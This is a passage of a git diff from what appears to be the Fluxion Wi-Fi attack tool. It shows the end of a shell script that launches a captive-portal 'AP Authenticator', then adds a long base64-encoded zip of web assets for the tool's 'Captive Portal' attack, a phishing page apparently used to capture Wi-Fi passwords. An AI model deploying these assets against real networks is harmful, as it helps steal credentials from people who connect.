$TOPRIGHT -bg black -fg "#CCCCCC" \ + -title "FLUXION AP Authenticator" \ + -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & + +} + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/generic/assets b/attacks/Captive Portal/generic/assets new file mode 100644 index 0000000..245c097 --- /dev/null +++ b/attacks/Captive Portal/generic/assets @@ -0,0 +1,2217 @@ +UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp +KgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuNC41Lm1pbi5jc3PsXeuTGzdy/35/he6qturu4hnj +/VAeVTZlma6ik0utb1PJlxTFpZe8Gy11yxVlXZL/PegHMOBqtaQku8pcwfJyAAwGz+nfNLobjS// ++Nsnf/n318ubt0++37xYD8snsje9ffK/T75d3z6ZfvPVs9V8u3r6xIWltUv/5J/+5YkS0nRSdFr+ +IP1TrZ9q8V8p/+8Xf4Bb4gvMkAt9vnl9fTm/XW+uv3jy3fWiTxn/8je4029urr4c1ovl9Xb55I9f +/uY3/et1t15srrv5ArI/nf94u7z5nxfzxV+vbqCQbv1yfrV8+vpm+P3vUonzpxj/cru7+oefXg7/ +uFjNb7bL23/+83n31fnku+++ONOTM/083TpTYre82a4312f62ZlSshfpN6Uurxeby/X1FSWvt5su +BBs7CXf18zP9TSrit8/+bfLDf/7pm5Q91ZR+//Tnr2ffTVIg5erO1PP0/3/oCQWe/ZAKEucX36Zf +2UtK/OZfqbb0u7q9fXWmv6L0N2/e9G80DEOKfHszf7VaL7YpiI8/p8exwOepYin7y9tLKAhbRU25 +0ytJ9awvKWE2f7u8+W9OTMNwvaX09zdCCSGour2HvvppWF//9dDDMsaYLpSXHqdHxKufKP72Tjz9 +/2Z9ebvi9pucvlqur1a3d1N36+Wbrze5zJQAf9LwD+TY3r4dlnR/eT1/MSy78eVJbb5evuGn6if1 +16WvKc/21XzBRby6WW6XN7tlGfNX89vVfi0/rocBB0M/x/9KYTwD36cBmdidHmxnZhAWO70QcO1s ++fUTB7nSX6yvf0/FfC/T7E2kmqoLu5KD6tRU7KRcSX3hhy5VNFEXUv0d6+TXladPf/O7P/zfSFDD +8ua20VOjp1OnJw9UMxNIFCtpZhhHSoGQlItO9NZqpC2Zwsb4dJVbDkGeTi5KHojDFe5yWJ57vou0 +R8WWGkIKTBxnTxEk3fwAhi/sQoyNOL7aHZWXy8rXwG0IRxD5zc3mTXfZDY3QG6H/ugh9M7y9SqOt +BBH4M7iDNE4lvNqsr2+3udlnaqKhBkmkInRviSCo/onhK7WjhBxmkwLz1cRyVWjm6nNMeBArbhpW +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 